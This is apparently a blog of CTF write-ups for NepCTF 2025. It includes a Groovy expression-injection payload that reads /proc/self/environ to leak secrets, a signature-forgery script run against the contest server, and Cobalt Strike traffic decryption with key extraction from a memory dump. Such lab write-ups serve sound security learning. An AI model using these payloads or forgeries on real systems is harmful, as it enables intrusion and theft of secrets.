NepCTF-2025

tiran Lv2

WEB-easyGooGooVVVY

提示说groovy表达式注入

上网搜搜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.al1ex;

import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;

public class GroovyShellLocalRun {
public static void main(String[] args) throws IOException {
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("/proc/self/environ"));
script.run();
}
}

WEB-RevengeGooGooVVVY

和上题一样的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.al1ex;

import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;

public class GroovyShellLocalRun {
public static void main(String[] args) throws IOException {
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("/proc/self/environ"));
script.run();
}
}

WEB-JavaSeri

提示为Shiro,找个工具一把梭

MISC-NepBotEvent

ai出的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from struct import unpack

with open("NepBot_keylogger", "rb") as f:
data = f.read()

keymap = {
2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
12: '-', 13: '=', 14: '\b',
15: '\t', 28: '\n', 57: ' ',
16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y',
22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']',
30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h',
36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`',
44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n',
50: 'm', 51: ',', 52: '.', 53: '/', 86: '\\'
}
# 上面所列普通 keymap
shift_map = {
2: '!', 3: '@', 4: '#', 5: '$', 6: '%', 7: '^', 8: '&', 9: '*', 10: '(', 11: ')',
12: '_', 13: '+',
16: 'Q', 17: 'W', 18: 'E', 19: 'R', 20: 'T', 21: 'Y',
22: 'U', 23: 'I', 24: 'O', 25: 'P', 26: '{', 27: '}',
30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G', 35: 'H',
36: 'J', 37: 'K', 38: 'L', 39: ':', 40: '"', 41: '~',
44: 'Z', 45: 'X', 46: 'C', 47: 'V', 48: 'B', 49: 'N',
50: 'M', 51: '<', 52: '>', 53: '?', 86: '|'
}
# 上面所列 shift keymap

result = []
shift_pressed = False
capslock_on = False

for i in range(0, len(data), 24):
if i + 24 > len(data):
break
event = data[i:i+24]
_, _, type_, code, value = unpack('qqHHI', event)

if type_ == 1:
# 处理 Shift 状态
if code in (42, 54): # Shift 键
shift_pressed = value == 1
elif code == 58 and value == 1: # CapsLock
capslock_on = not capslock_on

# 按键按下
elif value == 1:
if shift_pressed:
char = shift_map.get(code)
else:
char = keymap.get(code)
# 如果是字母,考虑 CapsLock 状态
if code in range(16, 26) or code in range(30, 39) or code in range(44, 51):
if capslock_on:
char = char.upper()
if char:
result.append(char)

print(''.join(result))

MISC-客服小美

题目有一个流量与一个内存文件

流量看了一眼非常明显的cs特征

使用LovelyMem挂载镜像

发现了木马文件(顺路得到了用户名)

查看网络连接,发现了他的网络连接

接下来就是秘密文件了

获取beacon
过滤一下http流量

这个/TJvI就是获取beacon的URL会返回beacon文件

1
2
3
4
5
characters = 'TJvI'
total_sum = sum(ord(char) for char in characters)
remainder = total_sum % 256
print(f"对 256 取余的结果为: {remainder}")
# 93

93对应为x64 ,92为x86,说明这个beacon是x64的
网上有脚本可以分析这个stagebeacon
https://github.com/minhangxiaohui/CSthing

导出文件然后执行脚本

可以看出cs版本位4.4(伏笔

由于我们没有.cobaltstrike.beacon_keys文件无法直接获取私钥,虽然信标有公钥可以得到n,但是yafu爆不出n的两个p与q,所以也无法间接得到私钥,

因此可以利用动态信标的进程转储直接获得 AES key、HMAC key,不需要去破解私钥解密元数组了

3.x版本文件中能找到未加密的元数组,并且是以 0x0000BEEF 开头的字节序列。同时在进程的生命周期中越早获取进程转储,它就越有可能包含未加密的元数据。4.x 基本不能从动态信标的进程转储文件中恢复未加密的元数组,也就是说直接对 4.x 版本 cs 的动态信标的进程转储文件是提取不出通信所需要的 key。4.x 有自己解密的方法:

AES 和 HMAC 密钥可以在可写进程内存中找到,但没有明确标识这些密钥的标头。它们只是 16 字节长的序列,没有任何可区分的特征。为了提取这些密钥,该方法包括执行一种字典攻击。在进程内存中找到的所有可能的 16 字节长、非空序列将用于尝试解密一段加密的 C2 通信。如果解密成功,则已找到有效密钥。 该解密方法除了需要动态信标的进程转储文件之外还需要加密数据

首先先用上文提到的 cs-parse-http-traffic.py 脚本对抓取的流量包进行提取加密数据的操作

1
python.exe .\cs-parse-http-traffic.py -k unknown .\DESKTOP.pcapng

得到加密数据之后,再用动态信标的进程转储文件进行爆破解密,得到 key

进程转储文件由镜像中导出

1
python.exe .\cs-extract-key.py -t ecfff639c9a79bbb3c59bbec390fa070335fa6d5b33c7ba752fe9803ee2082296233a5dcd7f76c8adb3a1e404df09447 .\minidump_pid_6492.dmp

image-20250726104858599

1
2
3
AES Key:  a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7

HMAC Key: 35d34ac8778482751682514436d71e09

拿到AES_KEY、HMAC_KEY后可以直接用以下这个脚本来解密数据,往encrypt_data填入加密数据,就能解密数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import hmac
import binascii
import base64
import hexdump
from Crypto.Cipher import AES

AES_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")
encrypt_data = "hex"

def decrypt(encrypted_data, iv_bytes, signature, AES_KEY, hmac_key):
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv_bytes)
return cipher.decrypt(encrypted_data)

encrypt_data = bytes.fromhex(encrypt_data)

try:
encrypt_data_length = int.from_bytes(encrypt_data[:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:]
data1 = encrypt_data_l[:encrypt_data_length-16]
signature = encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = b"abcdefghijklmnop"
dec = decrypt(data1, iv_bytes, signature, AES_KEY, HMAC_KEY)
except:
dec = decrypt(encrypt_data, iv_bytes, signature, AES_KEY, HMAC_KEY)

print("counter: {}".format(int.from_bytes(dec[:4], byteorder='big', signed=False)))
print("任务返回长度: {}".format(int.from_bytes(dec[4:8], byteorder='big', signed=False)))
print("任务输出类型: {}".format(int.from_bytes(dec[8:12], byteorder='big', signed=False)))
print(dec[12:int.from_bytes(dec[4:8], byteorder='big', signed=False)])
print(hexdump.hexdump(dec))

1
NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}

MISC-SpeedMino

说分数到2600即可得到flag,但是没有(骗人)

根据题目speed改我们的速度发现可以得到flag

MISC-MoewBle喵泡

还有一个告诉神秘面板,为暂停面板
魂斗罗gm,上上下下左右左右ba

MISC-问卷!!!

RE-Crackme

通过前端可以拿到密钥啥的,让ai写个脚本解密我们发送的密文

我们尝试发送一个空的payload

得到flag

猜测后端逻辑:将解密后的数组存放在一个数组中,提取每一个键与键值,若有误exit,无误continue,由于我们为空,所以就畅通无阻的来到了代码末尾,得到flag

RE-Realme

找到main

推测为魔改rc4

在编写解密脚本时发现出来的是乱码

推测进行了反调试修改数据

在翻找时发现两个函数

一个是用peb来检测,另一个是通过closehandle来反调试

patch掉反调试后动调查看rc4逻辑

sbox多异或了两次

最后的异或换成了加减法

编写代码解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3

def rc4_init(sbox, key, key_len):
tbox = [0] * 256

# 初始化 sbox 和 tbox
for i in range(256):
sbox[i] = i ^ 0xCF
tbox[i] = key[i % key_len]

# 密钥调度
j = 0
for i in range(256):
j = (j + sbox[i] + tbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i] ^ 0xAD


def rc4_crypt(data, data_len, key, key_len):
sbox = [0] * 256
rc4_init(sbox, key, key_len)

i = j = 0
for k in range(data_len):
i = (i + 1) % 256
j = (j + i * sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]

t = (sbox[i] + sbox[j]) % 256

if k % 2: # 奇数位置
data[k] = (data[k] - sbox[t]) & 0xFF
else: # 偶数位置
data[k] = (data[k] + sbox[t]) & 0xFF


def decrypt_flag():
key_str = "Y0u_Can't_F1nd_Me!"
key_bytes = [ord(c) for c in key_str]
key_len = len(key_bytes)

# 加密数据
data = [
0x50, 0x59, # 'P', 'Y'
0xA2, 0x94, 0x2E, 0x8E, 0x5C, 0x95, 0x79, 0x16,
0xE5, 0x36, 0x60, 0xC7, 0xE8, 0x06, 0x33, 0x78,
0xF0, 0xD0, 0x36, 0xC8, 0x73, 0x1B, 0x65, 0x40,
0xB5, 0xD4, 0xE8, 0x9C, 0x65, 0xF4, 0xBA, 0x62,
0xD0
]

rc4_crypt(data, len(data), key_bytes, key_len)

# 转为字符串
flag = ''.join(chr(byte_val) for byte_val in data)
print("flag:", flag)

return flag


if __name__ == "__main__":
decrypt_flag()

Crypto-Nepsign

密码就是deepseek与chatgpt做的,跟我关系不大了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
from gmssl import sm3
import os
import ast
import time

# === SM3 哈希封装 ===
def sm3_hash(data: bytes) -> str:
return sm3.sm3_hash(list(data))

def sm3_n_times(data: bytes, n: int) -> str:
for _ in range(n):
data = bytes.fromhex(sm3_hash(data))
return data.hex()

# === 构造目标步数序列 ===
def compute_target_steps(message: bytes) -> list:
h = sm3_hash(message)
h_bin = bin(int(h, 16))[2:].zfill(256)
steps = []

# 前32个:哈希的每8位作为 step
for i in range(32):
bits = h_bin[i * 8:(i + 1) * 8]
steps.append(int(bits, 2))

# 后16个:哈希字符位置加权和对255取模
hex_chars = '0123456789abcdef'
for j in range(16):
s_val = sum((pos + 1) for pos in range(64) if h[pos] == hex_chars[j])
steps.append(s_val % 255)

return steps

# === 连接参数 ===
HOST = 'nepctf31-4uvd-9y9k-3ath-lkdtcchld448.nepctf.com'
PORT = 443

target_msg = b'happy for NepCTF 2025'
target_hash = sm3_hash(target_msg)
target_steps = compute_target_steps(target_msg)

print(f"[+] 目标消息哈希: {target_hash}")
print(f"[+] 目标步数: {target_steps}")

print(f"[+] 正在连接服务器 {HOST}:{PORT}...")
r = remote(HOST, PORT, ssl=True)
r.recvuntil(b'> ')

signature_parts = [None] * 48
start_time = time.time()

# === 遍历48部分,逐步构造签名 ===
for idx in range(48):
print(f"\n[*] 构造第 {idx + 1}/48 部分签名...")
attempts = 0

while True:
attempts += 1
msg = os.urandom(32)
digest = sm3_hash(msg)

# 计算步数 step_i
if idx < 32:
bits = bin(int(digest, 16))[2:].zfill(256)
step_i = int(bits[8 * idx:8 * idx + 8], 2)
else:
j = idx - 32
symbol = '0123456789abcdef'[j]
step_i = sum((pos + 1) for pos in range(64) if digest[pos] == symbol) % 255

# 匹配条件
if step_i <= target_steps[idx]:
elapsed = time.time() - start_time
print(f" [+] 匹配成功 (尝试 {attempts} 次, 耗时 {elapsed:.1f}s)")
print(f" [+] 消息: {msg.hex()}")
print(f" [+] 哈希: {digest}")
print(f" [+] 当前步数: {step_i} / 目标步数: {target_steps[idx]}")

# 请求签名
r.sendline(b'1')
r.recvuntil(b'msg: ')
r.sendline(msg.hex().encode())

# 接收签名
sig_line = r.recvline().strip()
try:
sig_list = ast.literal_eval(sig_line.decode())
sig_i = sig_list[idx]
except Exception as e:
print(f" [-] 签名解析失败: {e}, 重试中...")
continue

# 追加 hash(若需要)
hash_count = target_steps[idx] - step_i
final_sig = sig_i if hash_count == 0 else sm3_n_times(bytes.fromhex(sig_i), hash_count)

signature_parts[idx] = final_sig
print(f" [+] 部分签名完成: {final_sig}")
break

if attempts % 100 == 0:
print(f" [.] 正在尝试中 ({attempts} 次)...")

# === 提交构造完成的伪造签名 ===
print("\n[*] 提交完整签名...")
r.sendline(b'2')
r.recvuntil(b'give me a qq: ')

sig_payload = "[" + ", ".join(f"'{s}'" for s in signature_parts) + "]"
r.sendline(sig_payload.encode())

# === 获取并显示 flag ===
print("[*] 等待服务器返回 flag...")
flag_line = r.recvline(timeout=10)
print("=" * 60)
print(f"[+] FLAG: {flag_line.decode().strip()}")
print("=" * 60)

r.close()

Crypto-Lattice Bros

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from sage.all import *

def recover_alpha_and_flag():
# === Parameters ===
d = 981020902672546902438782010902608140583199504862558032616415
alpha_approx = 54236.606188881754809671280151541781895183337725393
B = 2**30
m = 30
K = 2**200 # Scaling factor for lattice construction

# === Sample data ===
samples = [(541847931463604073209188621415697353813245102261880389530448, 293760933113243563398917466885108625646262447370201484418246), (235213326900086489464935804156966465366154623411555613791270, 660823982268225103178763707015491421784294988488272636270997), (826464884761457937459245903152143755707241416981488127320435, 428521663319038461250005113612781686761766888058391496085911), (589542000504317435156560078533519448295689695687499354390208, 155284353896000150766154807679279597476176668344402166959399), (968823371588600973965757332601758200815345862153455338808286, 870008943690791009196027169525956126827736285614393106689402), (621636099728440147413990266662022925118216803638588918660041, 265635912066749696542909843111997941904342442664219734956888), (426696569424050102229606043215592727790577655338668728275370, 279313121876980354011480010042682666651614765507190502627689), (89450479064580125731654556963306718472532905610952012502649, 465933125964565419295325650759566635253450915499965633327941), (480355476500393865742379469913983270769356894135485925662119, 894041172171871806404285309781862268351135623868845025443422), (842436524669577199024236805258573090764419350786291073287889, 345478552143958037534551648319293899442551000874041707820740), (650054674429185550652935714084022116516082323269321462104664, 441999979283903658157822753439653947343822546158589507765994), (46289431385578693366971976442426853079852982529357847290686, 625618376463384339878849844467050454204685252824782609369180), (71444185449163133531919043374545893927347050624346741281881, 955925578289311966288639224625142299309823207245807788495453), (192579726169321656812883068526498248523814846320328766176253, 626481822474054336470183912297952839011392733501646931370367), (736527635648804640774976580747540045854351230084566721853611, 276626211757586963928788091386096607703513204646314683038338), (177922521867185878959621840269164617147915792720210315529733, 541058782621716573816245900423919799500476442285991532228641), (40610451174818168154306630612571678739921107216052349044576, 727642592899858828601137105077611015328512898368636299587376), (385012983728389322601149562441674995471397288632464238356283, 353921151307105661267278594470212933060655245893209524497156), (750447975601038834764379841158092390933760641866111445401426, 391626416964965737035878375834907580903143512300198923948189), (115058604943298010958881205548782439407592353731185670266593, 491630592857258949793489206081490523001249620510479961058022), (327389234395954477946639629629085910688793716425320663599360, 24975272330009592102362429346350824580378490147041708568130), (115595274689129534885608766476695918464309130165432995990883, 757961876891952019297626599379744405302595090402128271144165), (950804723308776351161744501221236453742418549093165078282534, 20307246759635231945223392614290397512873344480184942904518), (724537610412063699714461780160573528810830178440136810747811, 149681928388378582933943374524511804362928290938917573644613), (340891278018589324130004945217960336392205386747747011263373, 683307718413135477104477081812052183267507312278283317237187), (104379682905784169840335131193505192063050242530811180817410, 715010230598797717533306270232399781090458356371977748416491), (644160326926600986730919713173510327120201404569141824224075, 127877985489410167008195578625004740882394608402141169695352), (549253388716005399852261816416312267100135940382820676807345, 210560134643237517255193955173709174155305784935427470113433), (968265711632086435506163736279856957220961064226797549228006, 273174723915971720522674140326199419265943707917542063022561), (704367622558261900937184683100177434487519780290678439135652, 959106497548134540301589019840013331842784496835379005298630)]

# === Step 1: Recover minimal polynomial and constant term ===
f = algdep(alpha_approx, 3)
a0 = f.constant_coefficient()
print(f"[+] Recovered a0 = {a0}")

# === Step 2: Compute prime p from d and a0 ===
p = d - a0
print(f"[+] Computed prime p = {p}")

# === Step 3: Construct lattice for Hidden Number Problem ===
t_list = [t for (t, _) in samples[:m]]
a_list = [a for (_, a) in samples[:m]]

# Build lattice matrix
n = m + 1
M = Matrix(ZZ, n, n)

for i in range(m):
M[i, i] = p * K
M[m, i] = t_list[i] * K
M[m, m] = 1

# LLL reduction
reduced = M.LLL()

# Target vector
target = vector(ZZ, [a * K for a in a_list] + [0])

# === Step 4: Extract alpha from the lattice ===
alpha_val = None
for row in reduced:
if abs(row[-1]) == 1:
alpha_val = -row[-2] * row[-1]
break

if alpha_val is None:
# Use Babai's algorithm if exact solution not found
def babai_closest_vector(B, target):
G, _ = B.gram_schmidt()
b = vector(QQ, target)
for i in reversed(range(B.nrows())):
c = (b.dot_product(G[i]) / G[i].dot_product(G[i])).round()
b -= c * B.row(i)
return target - b

diff = babai_closest_vector(reduced, target)
alpha_val = diff[-1]

# Ensure alpha is in proper range
alpha_val = alpha_val % p
print(f"[+] Recovered alpha = {alpha_val}")

# === Step 5: Convert to bytes and print flag ===
def long_to_bytes(n):
if n == 0:
return b'\x00'
if n < 0:
n = n % p
return n.to_bytes((n.bit_length() + 7) // 8, 'big')

flag_bytes = long_to_bytes(alpha_val)
print(f"[+] Flag (raw bytes): {flag_bytes}")

return flag_bytes

if __name__ == "__main__":
recover_alpha_and_flag()

  • 标题: NepCTF-2025
  • 作者: tiran
  • 创建于 : 2025-07-28 16:40:51
  • 更新于 : 2025-07-28 16:41:14
  • 链接: https://www.tiran.cc/2025/07/28/NepCTF-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。